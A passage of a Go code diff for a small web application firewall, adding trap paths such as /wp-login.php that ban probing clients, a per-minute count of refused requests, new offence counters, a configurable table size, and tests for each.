// and without the query, is one of them. Such a request is a clear sign of
// attack, as a ban rule's match is: it bans the client's netblock, or in
// observe mode raises the alert for the ban it would have made.
func (rq *request) trapPath(now time.Time) bool {
path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) {
return false
}
rq.attack = true
rq.banForAttack(now, bans.Notes{TrapPath: path})
return true
}
// checkRules checks the request against the rules of the rule files at // checkRules checks the request against the rules of the rule files at
// now, notes the ids of those it matches in the log line, and returns the // now, notes the ids of those it matches in the log line, and returns the
// action of the rule that refuses it, ActionRuleBlocked for a block rule // action of the rule that refuses it, ActionRuleBlocked for a block rule
// and ActionBanned for a ban rule, or "" when none does. A ban rule bans // and ActionBanned for a ban rule, or "" when none does. A ban rule bans
// the client's netblock for a clear sign of attack, or in observe mode // the client's netblock for a clear sign of attack, or in observe mode
// raises the alert for the ban it would have made. // raises the alert for the ban it would have made. Either rule's match
// is noted as an offence, for the client's history.
func (rq *request) checkRules(now time.Time) string { func (rq *request) checkRules(now time.Time) string {
matched := rq.h.rules.Match(rq.in) matched := rq.h.rules.Match(rq.in)
@@ -28,9 +48,12 @@ func (rq *request) checkRules(now time.Time) string {
// Only the last rule matched can refuse the request. // Only the last rule matched can refuse the request.
switch last := matched[len(matched)-1]; last.Action { switch last := matched[len(matched)-1]; last.Action {
case rules.ActionBlock: case rules.ActionBlock:
rq.ruleBlocked = true
return requestlog.ActionRuleBlocked return requestlog.ActionRuleBlocked
case rules.ActionBan: case rules.ActionBan:
rq.banForAttack(now, last) rq.attack = true
rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
return requestlog.ActionBanned return requestlog.ActionBanned
default: default:
+1
View File
@@ -144,6 +144,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h",
rateLimitExemptNets: listedAddr + "," + fromKP, rateLimitExemptNets: listedAddr + "," + fromKP,
deniedCountries: "kp", deniedCountries: "kp",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
+115
View File
@@ -0,0 +1,115 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// trapPaths is the setting's name, and trapPathList what the tests set it
// to.
const (
trapPaths = "SWWAF_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php"
)
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
})
start := clk.Now()
// Only the path itself, as the client sent it, is a trap path.
for _, path := range []string{
"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php", "/%77p-login.php",
} {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
}
// A client in SWWAF_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path.
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
requestlog.ActionBanned)
wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(7 * 24 * time.Hour),
Cause: bans.CauseAttack,
Reason: "asked for the trap path /wp-login.php",
Notes: bans.Notes{
TrapPath: "/wp-login.php",
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/wp-login.php?redirect_to=x",
Status: http.StatusTooManyRequests,
UserAgent: userAgent,
},
Requests: 1,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next request is refused under the ban, and makes it permanent.
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
}
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWWAF_RULES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
}
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
mode: observe,
})
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
// No ban was made.
s.get(client, http.StatusOK, requestlog.ActionForward)
if got := server.Ledger.Snapshot(); len(got) != 0 {
t.Errorf("bans %+v, want none", got)
}
}
+4 -4
View File
@@ -11,7 +11,7 @@ import (
func TestHistoryKeepsEveryRequest(t *testing.T) { func TestHistoryKeepsEveryRequest(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -53,7 +53,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) { func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("198.51.100.7/32") other := netip.MustParsePrefix("198.51.100.7/32")
start := midnight() start := midnight()
@@ -90,7 +90,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
func TestResetKeepsTheHistory(t *testing.T) { func TestResetKeepsTheHistory(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}) limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -109,7 +109,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) { func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
for client, requests := range map[string]int{ for client, requests := range map[string]int{
"198.51.100.9/32": 2, "198.51.100.9/32": 2,
+90 -30
View File
@@ -2,8 +2,9 @@
// and bytes counted over a minute, an hour and a day, as the "Counting // and bytes counted over a minute, an hour and a day, as the "Counting
// method" section of SPEC.md describes, which tell when a request takes // method" section of SPEC.md describes, which tell when a request takes
// the client over a rate limit or a byte limit, and each client's history // the client over a rate limit or a byte limit, and each client's history
// since it was first seen. At most 20,000 clients are kept, in memory, and // since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are
// written to clients.json and read from it by the state package. // kept, in memory, and written to clients.json and read from it by the
// state package.
package ratelimit package ratelimit
import ( import (
@@ -16,11 +17,6 @@ import (
"github.com/hashicorp/golang-lru/v2/simplelru" "github.com/hashicorp/golang-lru/v2/simplelru"
) )
// maxClients is how many clients are kept. Past it, the least recently
// seen client is dropped, with its history, and starts afresh if it comes
// back.
const maxClients = 20000
const day = 24 * time.Hour const day = 24 * time.Hour
// The kinds of limits, as the metrics name them. // The kinds of limits, as the metrics name them.
@@ -29,6 +25,9 @@ const (
KindRequests = "requests" KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes. // KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes" KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests smallwebwaf
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
) )
// Limits are the most requests a client may make in a minute, an hour and // Limits are the most requests a client may make in a minute, an hour and
@@ -54,18 +53,20 @@ type Limiter struct {
} }
// Client is a client in the table, as clients.json holds it: its buckets // Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, and its history. // of requests and of bytes in each window, its buckets of refusals in the
// minute, which the error burst counts, and its history.
// //
//nolint:tagliatelle // the state files use snake_case, as the request log does //nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct { type Client struct {
Client netip.Prefix `json:"client"` Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"` Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"` Hour Buckets `json:"hour"`
Day Buckets `json:"day"` Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"` MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"` HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"` DayBytes Buckets `json:"day_bytes"`
History History `json:"history"` MinuteRefusals Buckets `json:"minute_refusals"`
History History `json:"history"`
} }
// Buckets are a client's two buckets in one window: the requests, or the // Buckets are a client's two buckets in one window: the requests, or the
@@ -117,9 +118,19 @@ type Responses struct {
} }
// Offences are a client's offences, by kind. // Offences are a client's offences, by kind.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct { type Offences struct {
// Limit is its requests that broke a rate limit or a byte limit. // Limit is its requests that broke a rate limit, a byte limit or the
Limit int64 `json:"limit"` // error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, RuleBlocked those a block
// rule refused, WAFBlocked those the Core Rule Set refused, and
// TokenRefused those refused for a missing or wrong token.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
WAFBlocked int64 `json:"waf_blocked"`
TokenRefused int64 `json:"token_refused"`
} }
// Request is what a client's history keeps of one of its requests. // Request is what a client's history keeps of one of its requests.
@@ -136,13 +147,23 @@ type Request struct {
// and of its response. // and of its response.
RequestBytes int64 RequestBytes int64
ResponseBytes int64 ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit or a byte // BrokeLimit is true for a request that broke a rate limit, a byte
// limit. // limit or the error burst, Attack for one that matched a ban rule or
BrokeLimit bool // asked for a trap path, RuleBlocked for one a block rule refused,
// WAFBlocked for one the Core Rule Set refused, and TokenRefused for
// one refused for a missing or wrong token.
BrokeLimit bool
Attack bool
RuleBlocked bool
WAFBlocked bool
TokenRefused bool
} }
// New returns a Limiter for limits, with no client counted yet. // New returns a Limiter for limits, with no client counted yet, whose
func New(limits Limits) *Limiter { // table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past
// it, the least recently seen client is dropped, with its history, and
// starts afresh if it comes back.
func New(limits Limits, maxClients int) *Limiter {
clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil) clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil)
if err != nil { if err != nil {
panic(err) // NewLRU fails only for a size below one panic(err) // NewLRU fails only for a size below one
@@ -167,17 +188,18 @@ func New(limits Limits) *Limiter {
} }
} }
// Hit is a request that takes a client over a rate limit, or whose bytes // Hit is a request that takes a client over a rate limit or the error
// take it over a byte limit. // burst, or whose bytes take it over a byte limit.
type Hit struct { type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit. // Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the error burst.
Kind string Kind string
// Window is "minute", "hour" or "day". // Window is "minute", "hour" or "day".
Window string Window string
// Limit is the window's limit, as the client's percentage of it. // Limit is the window's limit, as the client's percentage of it.
Limit int64 Limit int64
// Count is the client's requests, or bytes, counted in the window, // Count is the client's requests, bytes or refusals counted in the
// this request's included. // window, this request's included.
Count float64 Count float64
} }
@@ -216,8 +238,25 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent) return l.count(client, now, 0, bytes, percent)
} }
// Reset sets client's counts of requests and of bytes in every window // CountRefusal counts a request from client at now that smallwebwaf
// back to zero. Its history keeps its totals. // refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which
// breaks the error burst, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
return hit, count > float64(threshold)
}
// Reset sets client's counts of requests, of bytes and of refusals in
// every window back to zero. Its history keeps its totals.
func (l *Limiter) Reset(client netip.Prefix) { func (l *Limiter) Reset(client netip.Prefix) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -226,6 +265,7 @@ func (l *Limiter) Reset(client netip.Prefix) {
if seen { if seen {
c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{} c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{} c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
c.MinuteRefusals = Buckets{}
} }
} }
@@ -258,6 +298,22 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
if r.BrokeLimit { if r.BrokeLimit {
h.Offences.Limit++ h.Offences.Limit++
} }
if r.Attack {
h.Offences.Attack++
}
if r.RuleBlocked {
h.Offences.RuleBlocked++
}
if r.WAFBlocked {
h.Offences.WAFBlocked++
}
if r.TokenRefused {
h.Offences.TokenRefused++
}
} }
// AddLookup gives client's history its AS number, AS name and country, as // AddLookup gives client's history its AS number, AS name and country, as
@@ -367,6 +423,10 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
} }
} }
if c.MinuteRefusals.Passed(now, time.Minute) {
c.MinuteRefusals = Buckets{}
}
l.clients.Add(c.Client, &c) l.clients.Add(c.Client, &c)
} }
} }
+70 -17
View File
@@ -12,6 +12,10 @@ import (
// limit is the limit the tests set. // limit is the limit the tests set.
const limit = 3 const limit = 3
// tableSize is the most clients the tests' tables hold, the default of
// SWWAF_MAX_TRACKED_CLIENTS.
const tableSize = 20000
// whole is the percentage of each limit a client gets when nothing lowers // whole is the percentage of each limit a client gets when nothing lowers
// its limits. // its limits.
const whole = 100 const whole = 100
@@ -37,7 +41,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
t.Run(tc.window, func(t *testing.T) { t.Run(tc.window, func(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(tc.limits) limiter := ratelimit.New(tc.limits, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
quarter := tc.length / 4 quarter := tc.length / 4
@@ -62,7 +66,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}) limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -88,7 +92,8 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) { func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}) limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -119,7 +124,8 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
t.Parallel() t.Parallel()
// Only the hour has limits: the minute's and the day's are off. // Only the hour has limits: the minute's and the day's are off.
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}) limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -156,7 +162,7 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
t.Run(tc.window, func(t *testing.T) { t.Run(tc.window, func(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(tc.limits) limiter := ratelimit.New(tc.limits, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
// 600 bytes are within the limit, 600 more over it. // 600 bytes are within the limit, 600 more over it.
@@ -180,7 +186,8 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) { func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}) limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("203.0.113.10/32") other := netip.MustParsePrefix("203.0.113.10/32")
start := midnight() start := midnight()
@@ -204,7 +211,7 @@ func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
func TestCountGivesTheBytesInEachWindow(t *testing.T) { func TestCountGivesTheBytesInEachWindow(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -230,7 +237,7 @@ func TestCountGivesTheBytesInEachWindow(t *testing.T) {
func TestResetSetsTheBytesBackToZero(t *testing.T) { func TestResetSetsTheBytesBackToZero(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}) limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -241,10 +248,50 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "") wantBytesCount(t, limiter, client, start, 1000, "")
} }
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
}
}
hit, over := limiter.CountRefusal(client, start, limit)
want := ratelimit.Hit{
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
}
if !over || hit != want {
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
want)
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over)
}
// A ban sets them back to zero.
limiter.Reset(client)
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
}
}
func TestCountGivesTheRequestsInEachWindow(t *testing.T) { func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -267,7 +314,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
func TestResetSetsTheCountsBackToZero(t *testing.T) { func TestResetSetsTheCountsBackToZero(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}) limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -289,7 +336,7 @@ func TestResetSetsTheCountsBackToZero(t *testing.T) {
func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) { func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}) limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -308,7 +355,8 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
func TestRefusedRequestsCount(t *testing.T) { func TestRefusedRequestsCount(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}) limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
tableSize)
refused := netip.MustParsePrefix("203.0.113.9/32") refused := netip.MustParsePrefix("203.0.113.9/32")
within := netip.MustParsePrefix("203.0.113.10/32") within := netip.MustParsePrefix("203.0.113.10/32")
start := midnight() start := midnight()
@@ -341,7 +389,7 @@ func TestRefusedRequestsCount(t *testing.T) {
func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) { func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}) limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -357,7 +405,7 @@ func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) { func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}) limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -380,12 +428,12 @@ func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
wantCount(t, limiter, client, setBack, hour) wantCount(t, limiter, client, setBack, hour)
} }
func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) { func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
t.Parallel() t.Parallel()
const maxClients = 20000 const maxClients = 3
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}) limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}, maxClients)
now := midnight() now := midnight()
clients := make([]netip.Prefix, maxClients+1) clients := make([]netip.Prefix, maxClients+1)
@@ -407,6 +455,11 @@ func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) {
// One client more drops the least recently seen, the second, which // One client more drops the least recently seen, the second, which
// starts afresh, while the first is kept. // starts afresh, while the first is kept.
wantCount(t, limiter, clients[maxClients], now, "") wantCount(t, limiter, clients[maxClients], now, "")
if limiter.Len() != maxClients {
t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
}
wantCount(t, limiter, clients[1], now, "") wantCount(t, limiter, clients[1], now, "")
wantCount(t, limiter, clients[0], now, minute) wantCount(t, limiter, clients[0], now, minute)
} }
+20 -13
View File
@@ -14,7 +14,7 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"} want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
limiter := ratelimit.New(ratelimit.Limits{}) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
for _, i := range []int{2, 3, 0, 1} { for _, i := range []int{2, 3, 0, 1} {
limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole) limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole)
} }
@@ -43,7 +43,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
before := ratelimit.New(ratelimit.Limits{PerHour: limit}) before := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
for range limit { for range limit {
wantCount(t, before, client, start, "") wantCount(t, before, client, start, "")
} }
@@ -51,7 +51,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
// Loaded into a new limiter, as across a restart, the client has no // Loaded into a new limiter, as across a restart, the client has no
// fresh allowance. // fresh allowance.
later := start.Add(time.Minute) later := start.Add(time.Minute)
after := ratelimit.New(ratelimit.Limits{PerHour: limit}) after := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
after.Load(before.Snapshot(), later) after.Load(before.Snapshot(), later)
wantCount(t, after, client, later, hour) wantCount(t, after, client, later, hour)
} }
@@ -62,23 +62,24 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
limiter := ratelimit.New(ratelimit.Limits{}) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter.Count(client, start, whole) limiter.Count(client, start, whole)
limiter.CountBytes(client, start, 5, whole) limiter.CountBytes(client, start, 5, whole)
limiter.CountRefusal(client, start, limit)
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
loaded := func(now time.Time) ratelimit.Client { loaded := func(now time.Time) ratelimit.Client {
t.Helper() t.Helper()
after := ratelimit.New(ratelimit.Limits{}) after := ratelimit.New(ratelimit.Limits{}, tableSize)
after.Load(limiter.Snapshot(), now) after.Load(limiter.Snapshot(), now)
return after.Snapshot()[0] return after.Snapshot()[0]
} }
// Two minutes on, the window that ends then covers neither of the // Two minutes on, the window that ends then covers none of the
// minute's buckets, of requests and of bytes, which are emptied; the // minute's buckets, of requests, of bytes and of refusals, which are
// hour's and the day's stay, and so does the history. // emptied; the hour's and the day's stay, and so does the history.
got := loaded(start.Add(2 * time.Minute)) got := loaded(start.Add(2 * time.Minute))
if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 || if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
got.Day.Current != 1 || got.History.Requests != 1 { got.Day.Current != 1 || got.History.Requests != 1 {
@@ -91,18 +92,24 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got.MinuteBytes, got.HourBytes, got.DayBytes) got.MinuteBytes, got.HourBytes, got.DayBytes)
} }
if got.MinuteRefusals != (ratelimit.Buckets{}) {
t.Errorf("loaded two minutes on with buckets of refusals %+v",
got.MinuteRefusals)
}
// A moment before, the window still covers some of the earlier one. // A moment before, the window still covers some of the earlier one.
got = loaded(start.Add(2*time.Minute - time.Nanosecond)) got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 { if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v", got.MinuteRefusals.Current != 1 {
got.Minute, got.MinuteBytes) t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
} }
} }
func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) { func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
t.Parallel() t.Parallel()
const maxClients = 20000 const maxClients = 3
// clients.json lists the clients by address. Here each was last seen // clients.json lists the clients by address. Here each was last seen
// a second before the one listed before it, so the last listed is the // a second before the one listed before it, so the last listed is the
@@ -116,7 +123,7 @@ func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
addr = addr.Next() addr = addr.Next()
} }
limiter := ratelimit.New(ratelimit.Limits{}) limiter := ratelimit.New(ratelimit.Limits{}, maxClients)
